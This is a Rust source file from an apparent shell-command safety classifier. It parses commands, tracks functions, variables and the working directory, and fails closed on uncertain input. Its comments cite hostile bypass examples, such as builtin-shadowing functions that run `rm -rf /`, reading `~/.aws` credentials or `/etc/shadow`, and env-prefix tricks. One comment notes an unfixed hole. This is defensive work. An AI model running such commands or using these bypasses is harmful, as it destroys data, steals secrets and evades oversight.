Skip to main content

safe_chains/cst/
check.rs

1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3pub(super) use super::scope_budget::scope_budget_spent;
4use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
5use super::*;
6use crate::parse::Token;
7use crate::verdict::{SafetyLevel, Verdict};
8use crate::{handlers, pathctx::judging};
9
10pub fn command_verdict(input: &str) -> Verdict {
11    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
12        return Verdict::Denied; // classification budget spent — fail closed
13    };
14    let Some(script) = parse(input) else {
15        return Verdict::Denied;
16    };
17    let verdict = script_verdict(&script);
18    if scope_budget_spent() {
19        return Verdict::Denied; // shell state untrackable within budget — fail closed
20    }
21    verdict
22}
23
24pub fn is_safe_command(input: &str) -> bool {
25    command_verdict(input).is_allowed()
26}
27
28thread_local! {
29    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
30    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
31    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
32    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
33        const { std::cell::RefCell::new(Vec::new()) };
34    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
35    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
36    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
37    /// than resolving to a stale, more permissive definition.
38    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
39        const { std::cell::RefCell::new(Vec::new()) };
40    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
41    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
42    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
43}
44
45const MAX_FUNC_DEPTH: usize = 32;
46
47struct FuncScope;
48impl Drop for FuncScope {
49    fn drop(&mut self) {
50        FUNCTIONS.with(|f| {
51            f.borrow_mut().pop();
52        });
53    }
54}
55
56fn define_function(name: String, body: Script) -> FuncScope {
57    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
58    FuncScope
59}
60
61pub(super) fn lookup_function(name: &str) -> Option<Script> {
62    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
63        return None; // body unknown — deny rather than use a stale one
64    }
65    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
66}
67
68/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
69/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
70pub(super) fn poison_function(name: String) {
71    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
72}
73
74struct ResolveScope;
75impl Drop for ResolveScope {
76    fn drop(&mut self) {
77        RESOLVING.with(|r| {
78            r.borrow_mut().pop();
79        });
80    }
81}
82
83/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
84/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
85/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
86/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
87/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
88fn begin_resolving(name: &str) -> Option<ResolveScope> {
89    if !charge_classify_work(1) {
90        return None;
91    }
92    RESOLVING.with(|r| {
93        let mut stack = r.borrow_mut();
94        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
95            None
96        } else {
97            stack.push(name.to_string());
98            Some(ResolveScope)
99        }
100    })
101}
102
103pub(super) fn script_verdict(script: &Script) -> Verdict {
104    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
105        .into_iter()
106        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
107}
108
109/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
110/// installed, and return the per-statement results.
111///
112/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
113/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
114/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
115///
116/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
117/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
118/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
119/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
120pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
121    let _walk = ScopeWalk::enter();
122    let mut running = crate::pathctx::cwd();
123    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
124    let mut _funcs: Vec<FuncScope> = Vec::new();
125    let mut out = Vec::with_capacity(script.0.len());
126    for stmt in &script.0 {
127        out.push({
128            let _cwd = crate::pathctx::enter_cwd(running.clone());
129            per_stmt(stmt)
130        });
131        let effects = if scope_budget_spent() { ShellEffects::default() } else { shell_effects(&stmt.pipeline) };
132        let next = super::cd::cd_target(&stmt.pipeline).and_then(|(t, p)| crate::pathctx::join_cwd_mode(running.as_deref(), &t, p));
133        if next.is_some() {
134            running = next;
135        } else if effects.cwd {
136            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
137            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
138            // relative paths against a directory the shell has left.
139            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
140        }
141        for (name, value) in statement_assignments(&stmt.pipeline) {
142            _vars.push(crate::pathctx::enter_var(name, value));
143        }
144        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
145        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
146        // value wins for that name; a statement handled precisely contributes nothing here.
147        rebind_uncertain(effects.vars, &mut _vars);
148        for name in effects.funcs {
149            poison_function(name);
150        }
151        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
152            _funcs.push(define_function(name.clone(), body.clone()));
153        }
154    }
155    out
156}
157
158/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
159/// bound reports a possible effect, which fails closed.
160pub(super) const MAX_CD_SCAN_DEPTH: usize = 16;
161
162/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
163///
164/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
165/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
166/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
167/// precise handling matches only statement-level forms, so all of those escaped tracking:
168/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
169/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
170/// stale state is the permissive one.
171///
172/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
173/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
174#[derive(Default)]
175pub(super) struct ShellEffects {
176    pub(super) cwd: bool,
177    pub(super) vars: Vec<String>,
178    pub(super) funcs: Vec<String>,
179}
180
181/// The effects of one statement.
182fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
183    let mut out = ShellEffects::default();
184    // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
185    // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
186    // classifier's own work budget exists for. Caught by the termination guard.
187    let mut seen = Vec::new();
188    pipeline_effects(pipeline, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
189    out
190}
191
192/// A lone command's effects, or a pipeline's last stage's: zsh, and bash with `lastpipe`, run the
193/// last stage in the current shell, so `echo x | read f` may set `f`. A bare assignment or a
194/// definition there is an effect too, since `statement_assignments` binds only a lone one.
195fn pipeline_effects(pipeline: &Pipeline, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
196    let Some(last) = pipeline.commands.last() else { return };
197    if pipeline.commands.len() > 1 {
198        match last {
199            Cmd::Simple(s) if s.words.is_empty() => out.vars.extend(s.env.iter().map(|(name, _)| name.clone())),
200            Cmd::FunctionDef { name, .. } => out.funcs.push(name.clone()),
201            _ => {}
202        }
203    }
204    scan_effects(last, depth, seen, out);
205}
206
207fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
208    let Some(depth) = depth.checked_sub(1) else {
209        out.cwd = true; // out of budget — assume the worst
210        return;
211    };
212    match cmd {
213        Cmd::Simple(s) => {
214            let Some(name) = s.words.first().map(Word::eval) else {
215                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
216            };
217            out.vars.extend(super::opaque::declared_names(s));
218            if name == "cd" {
219                out.cwd = true;
220                return;
221            }
222            // A CALL runs the body in THIS shell, so its effects escape with it.
223            if seen.contains(&name) {
224                return;
225            }
226            if let Some(body) = lookup_function(&name) {
227                seen.push(name);
228                scan_script_effects(&body, depth, seen, out);
229            }
230        }
231        // The two constructs the shell really does isolate, plus forms that run nothing.
232        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
233        Cmd::BraceGroup { body, .. } => scan_script_effects(body, depth, seen, out),
234        Cmd::For { var, body, .. } => {
235            out.vars.push(var.clone());
236            scan_script_effects(body, depth, seen, out);
237        }
238        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
239            scan_script_effects(cond, depth, seen, out);
240            scan_script_effects(body, depth, seen, out);
241        }
242        Cmd::If { branches, else_body, .. } => {
243            for b in branches {
244                scan_script_effects(&b.cond, depth, seen, out);
245                scan_script_effects(&b.body, depth, seen, out);
246            }
247            if let Some(e) = else_body {
248                scan_script_effects(e, depth, seen, out);
249            }
250        }
251        Cmd::Case { arms, .. } => {
252            for a in arms {
253                scan_script_effects(&a.body, depth, seen, out);
254            }
255        }
256    }
257}
258
259/// Every statement of a body that the shell would run in the current shell: its assignments and
260/// function definitions rebind here, and its commands are scanned in turn.
261pub(super) fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
262    for st in &script.0 {
263        for (name, _) in statement_assignments(&st.pipeline) {
264            out.vars.push(name);
265        }
266        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
267            out.funcs.push(name.clone());
268        }
269        pipeline_effects(&st.pipeline, depth, seen, out);
270    }
271}
272
273/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
274/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
275/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
276/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
277fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
278    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
279        return Vec::new();
280    };
281    if !s.words.is_empty() {
282        return Vec::new();
283    }
284    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
285}
286
287/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
288/// `$refs` against the current scope first, then requires no residual `$` and no substitution
289/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
290fn certain_value(word: &Word) -> String {
291    let text = word.eval();
292    if crate::pathctx::names_a_loop_var(&text) {
293        return UNCERTAIN_VALUE.to_string();
294    }
295    let raw = crate::pathctx::expand_vars(&text, false).into_owned();
296    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
297    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
298    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
299    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
300}
301
302/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
303/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
304/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
305pub(crate) fn is_opaque_value(raw: &str) -> bool {
306    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
307        .iter()
308        .any(|m| raw.contains(m))
309}
310
311#[cfg(test)]
312pub(crate) fn is_safe_script(script: &Script) -> bool {
313    script_verdict(script).is_allowed()
314}
315
316pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
317    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
318    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
319    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
320    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
321    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
322    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
323    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
324    for (stage, cmd) in pipeline.commands.iter().enumerate() {
325        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
326        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
327        items = super::opaque::stage_shape(cmd, items);
328        if stage + 1 < pipeline.commands.len() {
329            stream = Some(stage_output_repr(cmd, stream.as_deref()));
330        }
331    }
332    acc
333}
334
335/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
336/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
337/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
338/// must deny in BOTH gate layers.
339const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
340
341/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
342/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
343/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
344/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
345pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
346    let Cmd::Simple(s) = cmd else {
347        return UNKNOWN_ITEM.to_string();
348    };
349    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
350    let Some(first) = words.first() else {
351        return UNKNOWN_ITEM.to_string();
352    };
353    let name = Token::from_raw(first.clone()).command_name().to_string();
354    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
355    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
356    match name.as_str() {
357        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
358        //
359        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on whether the read is admitted
360        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
361        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
362        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
363        // not be written, so a read-face test could never see it.
364        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
365            let roots = find_roots(&args);
366            let base = roots
367                .iter()
368                .max_by_key(|r| {
369                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
370                    read.max(write)
371                })
372                .copied()
373                .unwrap_or(".");
374            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
375            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
376            // cat` refused while `find / -exec cat {} \;` read the same files.
377            //
378            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
379            // literal representative because the shield genuinely CAN check that one; the
380            // distinction is whether we hold the actual path or a placeholder for it.
381            crate::engine::resolve::frozen_reach::stage_item(&name, base, &args)
382        }
383        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
384        "ls" => {
385            if super::echoed::ls_prints_operands(&args) {
386                super::echoed::printed_item("ls", &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
387            } else {
388                super::echoed::ls_item(&args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
389            }
390        }
391        // echo/printf emit their args verbatim; the worst piece of them is the representative.
392        "echo" | "printf" => super::echoed::printed_item(&name, &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string()),
393        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
394        "git" => match args.first() {
395            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
396            _ => UNKNOWN_ITEM.to_string(),
397        },
398        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
399        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
400        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
401        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
402        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
403        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
404        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
405        "tee" => through(),
406        _ => UNKNOWN_ITEM.to_string(),
407    }
408}
409
410/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
411/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
412/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
413/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
414/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
415fn reads_a_file(args: &[&str]) -> bool {
416    args.iter()
417        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
418}
419
420/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
421/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
422fn reads_a_file_after_count(args: &[&str]) -> bool {
423    let mut i = 0;
424    while i < args.len() {
425        let a = args[i];
426        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
427            i += 2; // flag + its value
428            continue;
429        }
430        if a.starts_with('-') || a == "-" {
431            i += 1;
432            continue;
433        }
434        return true; // a bare positional → a file operand
435    }
436    false
437}
438
439/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
440/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
441fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
442    let mut i = 0;
443    while i < args.len() {
444        match args[i] {
445            "-H" | "-L" | "-P" => i += 1,
446            "-D" | "-O" => i += 2,
447            _ => break,
448        }
449    }
450    let mut roots = Vec::new();
451    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
452        roots.push(args[i]);
453        i += 1;
454    }
455    if roots.is_empty() {
456        roots.push(".");
457    }
458    roots
459}
460
461pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
462    pipeline_verdict(pipeline).is_allowed()
463}
464
465pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
466    match cmd {
467        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
468        _ => true,
469    }
470}
471
472fn has_any_substitution(cmd: &SimpleCmd) -> bool {
473    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
474}
475
476/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
477///
478/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
479/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
480/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
481/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
482/// matcher, and quietly redundant here.
483///
484/// The rule must describe the command as TYPED. That is not a judgement about which variable names
485/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
486/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
487/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
488///
489/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
490/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
491/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
492/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
493/// nothing".
494///
495/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
496/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
497/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
498/// the rest of a pattern lets a rule for one program match a different one —
499/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
500/// only honest answer; the alternative is a rule that silently covers a program it never named.
501///
502/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
503/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
504/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
505/// the program is the first word either way.
506pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
507    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
508    for (name, value) in &cmd.env {
509        let value = value.eval();
510        if value.chars().any(char::is_whitespace) {
511            return None;
512        }
513        parts.push(format!("{name}={value}"));
514    }
515    parts.extend(cmd.words.iter().map(|w| w.eval()));
516    Some(parts.join(" "))
517}
518
519pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
520    match cmd {
521        Cmd::Simple(s) => simple_verdict(s),
522        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
523            let body_v = script_verdict(body);
524            if let Verdict::Denied = body_v {
525                return Verdict::Denied;
526            }
527            let redir_v = redirect_verdict(redirs);
528            if let Verdict::Denied = redir_v {
529                return Verdict::Denied;
530            }
531            body_v.combine(redir_v)
532        }
533        Cmd::For { var, items, body, redirs } => super::loops::for_verdict(var, items, body, redirs),
534        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => super::loops::while_verdict(cond, body, redirs),
535        Cmd::If { branches, else_body, redirs } => {
536            let redir_v = redirect_verdict(redirs);
537            if let Verdict::Denied = redir_v {
538                return Verdict::Denied;
539            }
540            let mut v = redir_v;
541            for b in branches {
542                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
543            }
544            if let Some(eb) = else_body {
545                v = v.combine(script_verdict(eb));
546            }
547            v
548        }
549        Cmd::DoubleBracket { words, redirs } => words_sub_verdict(words).combine(redirect_verdict(redirs)),
550        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
551        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
552        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
553        Cmd::Case { subject, arms, redirs } => {
554            let redir_v = redirect_verdict(redirs);
555            if let Verdict::Denied = redir_v {
556                return Verdict::Denied;
557            }
558            let mut v = redir_v.combine(word_sub_verdict(subject));
559            for arm in arms {
560                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
561            }
562            v
563        }
564        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
565        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
566        // definition never denies on its body.
567        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
568    }
569}
570
571pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
572    cmd_verdict(cmd).is_allowed()
573}
574
575fn part_sub_verdict(part: &WordPart) -> Verdict {
576    match part {
577        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
578        WordPart::Backtick(raw) => command_verdict(raw),
579        WordPart::DQuote(inner) => word_sub_verdict(inner),
580        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
581        WordPart::Arith(inner) => word_sub_verdict(inner),
582        _ => Verdict::Allowed(SafetyLevel::Inert),
583    }
584}
585
586fn word_sub_verdict(word: &Word) -> Verdict {
587    word.0.iter().map(part_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
588}
589
590pub(super) fn words_sub_verdict(words: &[Word]) -> Verdict {
591    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
592}
593
594#[cfg(test)]
595pub(crate) fn word_subs_safe(word: &Word) -> bool {
596    word_sub_verdict(word).is_allowed()
597}
598
599fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
600    let redir_v = redirect_verdict(&cmd.redirs);
601    if let Verdict::Denied = redir_v {
602        return Verdict::Denied;
603    }
604
605    let env_sub_v = cmd
606        .env
607        .iter()
608        .map(|(_, v)| word_sub_verdict(v))
609        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
610    let word_sub_v = words_sub_verdict(&cmd.words);
611
612    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
613    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
614    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
615    //
616    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
617    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
618    // invocation is a write even when the command word is inert. Propagating only `Denied` here
619    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
620    // spelled `touch ./x` did not.
621    let env_name_v = cmd
622        .env
623        .iter()
624        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
625        .fold(crate::envvars::rebinding_verdict(&cmd.words), Verdict::combine);
626    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
627
628    if let Verdict::Denied = sub_v {
629        return Verdict::Denied;
630    }
631
632    if cmd.words.is_empty() {
633        if cmd.env.is_empty() {
634            return Verdict::Allowed(SafetyLevel::Inert);
635        }
636        return sub_v.combine(redir_v);
637    }
638
639    let name = cmd.words[0].eval();
640
641    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
642    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
643    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
644    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
645    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
646    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
647    // run the real `ls` for the rebound name, a bypass.
648    if let Some(body) = lookup_function(&name) {
649        let Some(_resolving) = begin_resolving(&name) else {
650            return Verdict::Denied;
651        };
652        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
653            .iter()
654            .enumerate()
655            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
656            .collect();
657        return sub_v.combine(super::netargs::with_args(cmd, || script_verdict(&body))).combine(redir_v);
658    }
659
660    if name == "eval" {
661        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
662    }
663
664    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
665    // would run is classified — a braced word must not hide a system path from the gate.
666    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
667    if words.iter().all(Vec::is_empty) {
668        return Verdict::Allowed(SafetyLevel::Inert);
669    }
670    if super::opaque::smuggles_a_flag(cmd) {
671        return Verdict::Denied;
672    }
673
674    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
675    sub_v.combine(cmd_v).combine(redir_v)
676}
677
678/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
679/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
680/// no opt-out — the engine is the default and only path.
681fn leaf_verdict(tokens: &[Token]) -> Verdict {
682    let legacy = handlers::dispatch(tokens);
683    super::netargs::with_egress(tokens, crate::engine::bridge::gated_engine_verdict(tokens).unwrap_or(legacy))
684}
685
686fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
687    if cmd.words.len() < 2 {
688        return Verdict::Denied;
689    }
690    for arg in &cmd.words[1..] {
691        if !arg_is_eval_safe(arg) {
692            return Verdict::Denied;
693        }
694    }
695    Verdict::Allowed(SafetyLevel::Inert)
696}
697
698fn arg_is_eval_safe(word: &Word) -> bool {
699    let mut found_safe = false;
700    for part in &word.0 {
701        match part {
702            WordPart::Lit(s) | WordPart::SQuote(s) => {
703                if !s.chars().all(char::is_whitespace) {
704                    return false;
705                }
706            }
707            WordPart::Escape(c) => {
708                if !c.is_whitespace() {
709                    return false;
710                }
711            }
712            WordPart::CmdSub(script) => {
713                if !script_yields_eval_safe(script) {
714                    return false;
715                }
716                found_safe = true;
717            }
718            WordPart::Backtick(raw) => {
719                let Some(script) = parse(raw) else {
720                    return false;
721                };
722                if !script_yields_eval_safe(&script) {
723                    return false;
724                }
725                found_safe = true;
726            }
727            WordPart::DQuote(inner) => {
728                if !arg_is_eval_safe(inner) {
729                    return false;
730                }
731                if has_substitution(inner) {
732                    found_safe = true;
733                }
734            }
